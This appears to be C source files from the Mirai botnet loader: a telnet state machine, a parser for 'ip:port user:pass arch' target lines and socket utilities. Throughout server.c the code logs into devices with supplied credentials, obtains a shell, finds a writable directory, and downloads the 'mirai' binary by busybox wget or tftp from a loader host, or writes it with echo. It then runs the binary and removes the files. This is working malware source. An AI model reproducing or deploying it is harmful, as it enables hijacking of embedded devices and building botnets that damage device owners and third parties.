#include <arpa/inet.h>
#include <string.h>
#include <sched.h>
#include <errno.h>
#include "headers/includes.h"
#include "headers/server.h"
#include "headers/telnet_info.h"
#include "headers/connection.h"
#include "headers/binary.h"
#include "headers/util.h"
struct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip)
{
struct server *srv = calloc(1, sizeof (struct server));
struct server_worker *workers = calloc(threads, sizeof (struct server_worker));
int i;
// Fill out the structure
srv->bind_addrs_len = addr_len;
srv->bind_addrs = addrs;
srv->max_open = max_open;
srv->wget_host_ip = wghip;
srv->wget_host_port = wghp;
srv->tftp_host_ip = thip;
srv->estab_conns = calloc(max_open * 2, sizeof (struct connection *));
srv->workers = calloc(threads, sizeof (struct server_worker));
srv->workers_len = threads;
if (srv->estab_conns == NULL)
{
printf("Failed to allocate establisted_connections array\n");
exit(0);
}
// Allocate locks internally
for (i = 0; i < max_open * 2; i++)
{
srv->estab_conns[i] = calloc(1, sizeof (struct connection));
if (srv->estab_conns[i] == NULL)
{
printf("Failed to allocate connection %d\n", i);
exit(-1);
}
pthread_mutex_init(&(srv->estab_conns[i]->lock), NULL);
}
// Create worker threads
for (i = 0; i < threads; i++)
{
struct server_worker *wrker = &srv->workers[i];
wrker->srv = srv;
wrker->thread_id = i;
if ((wrker->efd = epoll_create1(0)) == -1)
{
printf("Failed to initialize epoll context. Error code %d\n", errno);
free(srv->workers);
free(srv);
return NULL;
}
pthread_create(&wrker->thread, NULL, worker, wrker);
}
pthread_create(&srv->to_thrd, NULL, timeout_thread, srv);
return srv;
}
void server_destroy(struct server *srv)
{
if (srv == NULL)
return;
if (srv->bind_addrs != NULL)
free(srv->bind_addrs);
if (srv->workers != NULL)
free(srv->workers);
free(srv);
}
void server_queue_telnet(struct server *srv, struct telnet_info *info)
{
while (ATOMIC_GET(&srv->curr_open) >= srv->max_open)
{
sleep(1);
}
ATOMIC_INC(&srv->curr_open);
if (srv == NULL)
printf("srv == NULL 3\n");
server_telnet_probe(srv, info);
}
void server_telnet_probe(struct server *srv, struct telnet_info *info)
{
int fd = util_socket_and_bind(srv);
struct sockaddr_in addr;
struct connection *conn;
struct epoll_event event;
int ret;
struct server_worker *wrker = &srv->workers[ATOMIC_INC(&srv->curr_worker_child) % srv->workers_len];
if (fd == -1)
{
if (time(NULL) % 10 == 0)
{
printf("Failed to open and bind socket\n");
}
ATOMIC_DEC(&srv->curr_open);
return;
}
while (fd >= (srv->max_open * 2))
{
printf("fd too big\n");
conn->fd = fd;
#ifdef DEBUG
printf("Can't utilize socket because client buf is not large enough\n");
#endif
connection_close(conn);
return;
}
if (srv == NULL)
printf("srv == NULL 4\n");
conn = srv->estab_conns[fd];
memcpy(&conn->info, info, sizeof (struct telnet_info));
conn->srv = srv;
conn->fd = fd;
connection_open(conn);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = info->addr;
addr.sin_port = info->port;
ret = connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
if (ret == -1 && errno != EINPROGRESS)
{
printf("got connect error\n");
}
event.data.fd = fd;
event.events = EPOLLOUT;
epoll_ctl(wrker->efd, EPOLL_CTL_ADD, fd, &event);
}
static void bind_core(int core)
{
pthread_t tid = pthread_self();
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(core, &cpuset);
if (pthread_setaffinity_np(tid, sizeof (cpu_set_t), &cpuset) != 0)
printf("Failed to bind to core %d\n", core);
}
static void *worker(void *arg)
{
struct server_worker *wrker = (struct server_worker *)arg;
struct epoll_event events[128];
bind_core(wrker->thread_id);
while (TRUE)
{
int i, n = epoll_wait(wrker->efd, events, 127, -1);
if (n == -1)
perror("epoll_wait");
for (i = 0; i < n; i++)
handle_event(wrker, &events[i]);
}
}
static void handle_event(struct server_worker *wrker, struct epoll_event *ev)
{
struct connection *conn = wrker->srv->estab_conns[ev->data.fd];
if (conn->fd == -1)
{
conn->fd = ev->data.fd;
connection_close(conn);
return;
}
if (conn->fd != ev->data.fd)
{
printf("yo socket mismatch\n");
}
// Check if there was an error
if (ev->events & EPOLLERR || ev->events & EPOLLHUP || ev->events & EPOLLRDHUP)
{
#ifdef DEBUG
if (conn->open)
printf("[FD%d] Encountered an error and must shut down\n", ev->data.fd);
#endif
connection_close(conn);
return;
}
// Are we ready to write?
if (conn->state_telnet == TELNET_CONNECTING && ev->events & EPOLLOUT)
{
struct epoll_event event;
int so_error = 0;
socklen_t len = sizeof(so_error);
getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &so_error, &len);
if (so_error)
{
#ifdef DEBUG
printf("[FD%d] Connection refused\n", ev->data.fd);
#endif
connection_close(conn);
return;
}
#ifdef DEBUG
printf("[FD%d] Established connection\n", ev->data.fd);
#endif
event.data.fd = conn->fd;
event.events = EPOLLIN | EPOLLET;
epoll_ctl(wrker->efd, EPOLL_CTL_MOD, conn->fd, &event);
conn->state_telnet = TELNET_READ_IACS;
conn->timeout = 30;
}
if (!conn->open)
{
printf("socket not open! conn->fd: %d, fd: %d, events: %08x, state: %08x\n", conn->fd, ev->data.fd, ev->events, conn->state_telnet);
}
// Is there data to read?
if (ev->events & EPOLLIN && conn->open)
{
int ret;
conn->last_recv = time(NULL);
while (TRUE)
{
ret = recv(conn->fd, conn->rdbuf + conn->rdbuf_pos, sizeof (conn->rdbuf) - conn->rdbuf_pos, MSG_NOSIGNAL);
if (ret <= 0)
{
if (errno != EAGAIN && errno != EWOULDBLOCK)
{
#ifdef DEBUG
if (conn->open)
printf("[FD%d] Encountered error %d. Closing\n", ev->data.fd, errno);
#endif
connection_close(conn);
}
break;
}
#ifdef DEBUG
printf("TELIN: %.*s\n", ret, conn->rdbuf + conn->rdbuf_pos);
#endif
conn->rdbuf_pos += ret;
conn->last_recv = time(NULL);
if (conn->rdbuf_pos > 8196)
{
printf("oversized buffer pointer!\n");
abort();
}
while (TRUE)
{
int consumed;
switch (conn->state_telnet)
{
case TELNET_READ_IACS:
consumed = connection_consume_iacs(conn);
if (consumed)
conn->state_telnet = TELNET_USER_PROMPT;
break;
case TELNET_USER_PROMPT:
consumed = connection_consume_login_prompt(conn);
if (consumed)
{
util_sockprintf(conn->fd, "%s", conn->info.user);
strcpy(conn->output_buffer.data, "\r\n");
conn->output_buffer.deadline = time(NULL) + 1;
conn->state_telnet = TELNET_PASS_PROMPT;
}
break;
case TELNET_PASS_PROMPT:
consumed = connection_consume_password_prompt(conn);
if (consumed)
{
util_sockprintf(conn->fd, "%s", conn->info.pass);
strcpy(conn->output_buffer.data, "\r\n");
conn->output_buffer.deadline = time(NULL) + 1;
conn->state_telnet = TELNET_WAITPASS_PROMPT; // At the very least it will print SOMETHING
}
break;
case TELNET_WAITPASS_PROMPT:
if ((consumed = connection_consume_prompt(conn)) > 0)
{
util_sockprintf(conn->fd, "enable\r\n");
util_sockprintf(conn->fd, "shell\r\n");
util_sockprintf(conn->fd, "sh\r\n");
conn->state_telnet = TELNET_CHECK_LOGIN;
}
break;
case TELNET_CHECK_LOGIN:
if ((consumed = connection_consume_prompt(conn)) > 0)
{
util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_VERIFY_LOGIN;
}
break;
case TELNET_VERIFY_LOGIN:
consumed = connection_consume_verify_login(conn);
if (consumed)
{
ATOMIC_INC(&wrker->srv->total_logins);
#ifdef DEBUG
printf("[FD%d] Succesfully logged in\n", ev->data.fd);
#endif
util_sockprintf(conn->fd, "/bin/busybox ps; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_PARSE_PS;
}
break;
case TELNET_PARSE_PS:
if ((consumed = connection_consume_psoutput(conn)) > 0)
{
util_sockprintf(conn->fd, "/bin/busybox cat /proc/mounts; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_PARSE_MOUNTS;
}
break;
case TELNET_PARSE_MOUNTS:
consumed = connection_consume_mounts(conn);
if (consumed)
conn->state_telnet = TELNET_READ_WRITEABLE;
break;
case TELNET_READ_WRITEABLE:
consumed = connection_consume_written_dirs(conn);
if (consumed)
{
#ifdef DEBUG
printf("[FD%d] Found writeable directory: %s/\n", ev->data.fd, conn->info.writedir);
#endif
util_sockprintf(conn->fd, "cd %s/\r\n", conn->info.writedir, conn->info.writedir);
util_sockprintf(conn->fd, "/bin/busybox cp /bin/echo " FN_BINARY "; >" FN_BINARY "; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_COPY_ECHO;
conn->timeout = 120;
}
break;
case TELNET_COPY_ECHO:
consumed = connection_consume_copy_op(conn);
if (consumed)
{
#ifdef DEBUG
printf("[FD%d] Finished copying /bin/echo to cwd\n", conn->fd);
#endif
if (!conn->info.has_arch)
{
conn->state_telnet = TELNET_DETECT_ARCH;
conn->timeout = 120;
// DO NOT COMBINE THESE
util_sockprintf(conn->fd, "/bin/busybox cat /bin/echo\r\n");
util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
}
else
{
conn->state_telnet = TELNET_UPLOAD_METHODS;
conn->timeout = 15;
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
}
}
break;
case TELNET_DETECT_ARCH:
consumed = connection_consume_arch(conn);
if (consumed)
{
conn->timeout = 15;
if ((conn->bin = binary_get_by_arch(conn->info.arch)) == NULL)
{
#ifdef DEBUG
printf("[FD%d] Cannot determine architecture\n", conn->fd);
#endif
connection_close(conn);
}
else if (strcmp(conn->info.arch, "arm") == 0)
{
#ifdef DEBUG
printf("[FD%d] Determining ARM sub-type\n", conn->fd);
#endif
util_sockprintf(conn->fd, "cat /proc/cpuinfo; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_ARM_SUBTYPE;
}
else
{
#ifdef DEBUG
printf("[FD%d] Detected architecture: '%s'\n", ev->data.fd, conn->info.arch);
#endif
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_UPLOAD_METHODS;
}
}
break;
case TELNET_ARM_SUBTYPE:
if ((consumed = connection_consume_arm_subtype(conn)) > 0)
{
struct binary *bin = binary_get_by_arch(conn->info.arch);
if (bin == NULL)
{
#ifdef DEBUG
printf("[FD%d] We do not have an ARMv7 binary, so we will try using default ARM\n", conn->fd);
#endif
}
else
conn->bin = bin;
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_UPLOAD_METHODS;
}
break;
case TELNET_UPLOAD_METHODS:
consumed = connection_consume_upload_methods(conn);
if (consumed)
{
#ifdef DEBUG
printf("[FD%d] Upload method is ", conn->fd);
#endif
switch (conn->info.upload_method)
{
case UPLOAD_ECHO:
conn->state_telnet = TELNET_UPLOAD_ECHO;
conn->timeout = 30;
util_sockprintf(conn->fd, "/bin/busybox cp "FN_BINARY " " FN_DROPPER "; > " FN_DROPPER "; /bin/busybox chmod 777 " FN_DROPPER "; " TOKEN_QUERY "\r\n");
#ifdef DEBUG
printf("echo\n");
#endif
break;
case UPLOAD_WGET:
conn->state_telnet = TELNET_UPLOAD_WGET;
conn->timeout = 120;
util_sockprintf(conn->fd, "/bin/busybox wget http://%s:%d/bins/%s.%s -O - > "FN_BINARY "; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n",
wrker->srv->wget_host_ip, wrker->srv->wget_host_port, "mirai", conn->info.arch);
#ifdef DEBUG
printf("wget\n");
#endif
break;
case UPLOAD_TFTP:
conn->state_telnet = TELNET_UPLOAD_TFTP;
conn->timeout = 120;
util_sockprintf(conn->fd, "/bin/busybox tftp -g -l %s -r %s.%s %s; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n",
FN_BINARY, "mirai", conn->info.arch, wrker->srv->tftp_host_ip);
#ifdef DEBUG
printf("tftp\n");
#endif
break;
}
}
break;
case TELNET_UPLOAD_ECHO:
consumed = connection_upload_echo(conn);
if (consumed)
{
conn->state_telnet = TELNET_RUN_BINARY;
conn->timeout = 30;
#ifdef DEBUG
printf("[FD%d] Finished echo loading!\n", conn->fd);
#endif
util_sockprintf(conn->fd, "./%s; ./%s %s.%s; " EXEC_QUERY "\r\n", FN_DROPPER, FN_BINARY, id_tag, conn->info.arch);
ATOMIC_INC(&wrker->srv->total_echoes);
}
break;
case TELNET_UPLOAD_WGET:
consumed = connection_upload_wget(conn);
if (consumed)
{
conn->state_telnet = TELNET_RUN_BINARY;
conn->timeout = 30;
#ifdef DEBUG
printf("[FD%d] Finished wget loading\n", conn->fd);
#endif
util_sockprintf(conn->fd, "./" FN_BINARY " %s.%s; " EXEC_QUERY "\r\n", id_tag, conn->info.arch);
ATOMIC_INC(&wrker->srv->total_wgets);
}
break;
case TELNET_UPLOAD_TFTP:
consumed = connection_upload_tftp(conn);
if (consumed > 0)
{
conn->state_telnet = TELNET_RUN_BINARY;
conn->timeout = 30;
#ifdef DEBUG
printf("[FD%d] Finished tftp loading\n", conn->fd);
#endif
util_sockprintf(conn->fd, "./" FN_BINARY " %s.%s; " EXEC_QUERY "\r\n", id_tag, conn->info.arch);
ATOMIC_INC(&wrker->srv->total_tftps);
}
else if (consumed < -1) // Did not have permission to TFTP
{
#ifdef DEBUG
printf("[FD%d] No permission to TFTP load, falling back to echo!\n", conn->fd);
#endif
consumed *= -1;
conn->state_telnet = TELNET_UPLOAD_ECHO;
conn->info.upload_method = UPLOAD_ECHO;
conn->timeout = 30;
util_sockprintf(conn->fd, "/bin/busybox cp "FN_BINARY " " FN_DROPPER "; > " FN_DROPPER "; /bin/busybox chmod 777 " FN_DROPPER "; " TOKEN_QUERY "\r\n");
}
break;
case TELNET_RUN_BINARY:
if ((consumed = connection_verify_payload(conn)) > 0)
{
if (consumed >= 255)
{
conn->success = TRUE;
#ifdef DEBUG
printf("[FD%d] Succesfully ran payload\n", conn->fd);
#endif
consumed -= 255;
}
else
{
#ifdef DEBUG
printf("[FD%d] Failed to execute payload\n", conn->fd);
#endif
if (!conn->retry_bin && strncmp(conn->info.arch, "arm", 3) == 0)
{
conn->echo_load_pos = 0;
strcpy(conn->info.arch, (conn->info.arch[3] == '\0' ? "arm7" : "arm"));
conn->bin = binary_get_by_arch(conn->info.arch);
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_UPLOAD_METHODS;
conn->retry_bin = TRUE;
break;
}
}
#ifndef DEBUG
util_sockprintf(conn->fd, "rm -rf " FN_DROPPER "; > " FN_BINARY "; " TOKEN_QUERY "\r\n");
#else
util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
#endif
conn->state_telnet = TELNET_CLEANUP;
conn->timeout = 10;
}
break;
case TELNET_CLEANUP:
if ((consumed = connection_consume_cleanup(conn)) > 0)
{
int tfd = conn->fd;
connection_close(conn);
#ifdef DEBUG
printf("[FD%d] Cleaned up files\n", tfd);
#endif
}
default:
consumed = 0;
break;
}
if (consumed == 0) // We didn't consume any data
break;
else
{
if (consumed > conn->rdbuf_pos)
{
consumed = conn->rdbuf_pos;
//printf("consuming more then our position!\n");
//abort();
}
conn->rdbuf_pos -= consumed;
memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);
conn->rdbuf[conn->rdbuf_pos] = 0;
}
if (conn->rdbuf_pos > 8196)
{
printf("oversized buffer! 2\n");
abort();
}
}
}
}
}
static void *timeout_thread(void *arg)
{
struct server *srv = (struct server *)arg;
int i, ct;
while (TRUE)
{
ct = time(NULL);
for (i = 0; i < (srv->max_open * 2); i++)
{
struct connection *conn = srv->estab_conns[i];
if (conn->open && conn->last_recv > 0 && ct - conn->last_recv > conn->timeout)
{
#ifdef DEBUG
printf("[FD%d] Timed out\n", conn->fd);
#endif
if (conn->state_telnet == TELNET_RUN_BINARY && !conn->ctrlc_retry && strncmp(conn->info.arch, "arm", 3) == 0)
{
conn->last_recv = time(NULL);
util_sockprintf(conn->fd, "\x03\x1Akill %%1\r\nrm -rf " FN_BINARY " " FN_DROPPER "\r\n");
conn->ctrlc_retry = TRUE;
conn->echo_load_pos = 0;
strcpy(conn->info.arch, (conn->info.arch[3] == '\0' ? "arm7" : "arm"));
conn->bin = binary_get_by_arch(conn->info.arch);
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_UPLOAD_METHODS;
conn->retry_bin = TRUE;
} else {
connection_close(conn);
}
} else if (conn->open && conn->output_buffer.deadline != 0 && time(NULL) > conn->output_buffer.deadline)
{
conn->output_buffer.deadline = 0;
util_sockprintf(conn->fd, conn->output_buffer.data);
}
}
sleep(1);
}
}

63
loader/src/telnet_info.c Executable file
View File

@@ -0,0 +1,63 @@
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include "headers/includes.h"
#include "headers/telnet_info.h"
struct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info)
{
if (user != NULL)
strcpy(info->user, user);
if (pass != NULL)
strcpy(info->pass, pass);
if (arch != NULL)
strcpy(info->arch, arch);
info->addr = addr;
info->port = port;
info->has_auth = user != NULL || pass != NULL;
info->has_arch = arch != NULL;
return info;
}
struct telnet_info *telnet_info_parse(char *str, struct telnet_info *out) // Format: ip:port user:pass arch
{
char *conn, *auth, *arch;
char *addr_str, *port_str, *user = NULL, *pass = NULL;
ipv4_t addr;
port_t port;
if ((conn = strtok(str, " ")) == NULL)
return NULL;
if ((auth = strtok(NULL, " ")) == NULL)
return NULL;
arch = strtok(NULL, " "); // We don't care if we don't know the arch
if ((addr_str = strtok(conn, ":")) == NULL)
return NULL;
if ((port_str = strtok(NULL, ":")) == NULL)
return NULL;
if (strlen(auth) == 1)
{
if (auth[0] == ':')
{
user = "";
pass = "";
}
else if (auth[0] != '?')
return NULL;
}
else
{
user = strtok(auth, ":");
pass = strtok(NULL, ":");
}
addr = inet_addr(addr_str);
port = htons(atoi(port_str));
return telnet_info_new(user, pass, arch, addr, port, out);
}

174
loader/src/util.c Executable file
View File

@@ -0,0 +1,174 @@
#include <stdint.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdarg.h>
#include "headers/includes.h"
#include "headers/util.h"
#include "headers/server.h"
void hexDump (char *desc, void *addr, int len) {
int i;
unsigned char buff[17];
unsigned char *pc = (unsigned char*)addr;
// Output description if given.
if (desc != NULL)
printf ("%s:\n", desc);
if (len == 0) {
printf(" ZERO LENGTH\n");
return;
}
if (len < 0) {
printf(" NEGATIVE LENGTH: %i\n",len);
return;
}
// Process every byte in the data.
for (i = 0; i < len; i++) {
// Multiple of 16 means new line (with line offset).
if ((i % 16) == 0) {
// Just don't print ASCII for the zeroth line.
if (i != 0)
printf (" %s\n", buff);
// Output the offset.
printf (" %04x ", i);
}
// Now the hex code for the specific character.
printf (" %02x", pc[i]);
// And store a printable ASCII character for later.
if ((pc[i] < 0x20) || (pc[i] > 0x7e))
buff[i % 16] = '.';
else
buff[i % 16] = pc[i];
buff[(i % 16) + 1] = '\0';
}
// Pad out last line if not exactly 16 characters.
while ((i % 16) != 0) {
printf (" ");
i++;
}
// And print the final ASCII bit.
printf (" %s\n", buff);
}
int util_socket_and_bind(struct server *srv)
{
struct sockaddr_in bind_addr;
int i, fd, start_addr;
BOOL bound = FALSE;
if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
return -1;
bind_addr.sin_family = AF_INET;
bind_addr.sin_port = 0;
// Try to bind on the first available address
start_addr = rand() % srv->bind_addrs_len;
for (i = 0; i < srv->bind_addrs_len; i++)
{
bind_addr.sin_addr.s_addr = srv->bind_addrs[start_addr];
if (bind(fd, (struct sockaddr *)&bind_addr, sizeof (struct sockaddr_in)) == -1)
{
if (++start_addr == srv->bind_addrs_len)
start_addr = 0;
}
else
{
bound = TRUE;
break;
}
}
if (!bound)
{
close(fd);
#ifdef DEBUG
printf("Failed to bind on any address\n");
#endif
return -1;
}
// Set the socket in nonblocking mode
if (fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK) == -1)
{
#ifdef DEBUG
printf("Failed to set socket in nonblocking mode. This will have SERIOUS performance implications\n");
#endif
}
return fd;
}
int util_memsearch(char *buf, int buf_len, char *mem, int mem_len)
{
int i, matched = 0;
if (mem_len > buf_len)
return -1;
for (i = 0; i < buf_len; i++)
{
if (buf[i] == mem[matched])
{
if (++matched == mem_len)
return i + 1;
}
else
matched = 0;
}
return -1;
}
BOOL util_sockprintf(int fd, const char *fmt, ...)
{
char buffer[BUFFER_SIZE + 2];
va_list args;
int len;
va_start(args, fmt);
len = vsnprintf(buffer, BUFFER_SIZE, fmt, args);
va_end(args);
if (len > 0)
{
if (len > BUFFER_SIZE)
len = BUFFER_SIZE;
#ifdef DEBUG
hexDump("TELOUT", buffer, len);
#endif
if (send(fd, buffer, len, MSG_NOSIGNAL) != len)
return FALSE;
}
return TRUE;
}
char *util_trim(char *str)
{
char *end;
while(isspace(*str))
str++;
if(*str == 0)
return str;
end = str + strlen(str) - 1;
while(end > str && isspace(*end))
end--;
*(end+1) = 0;
return str;
}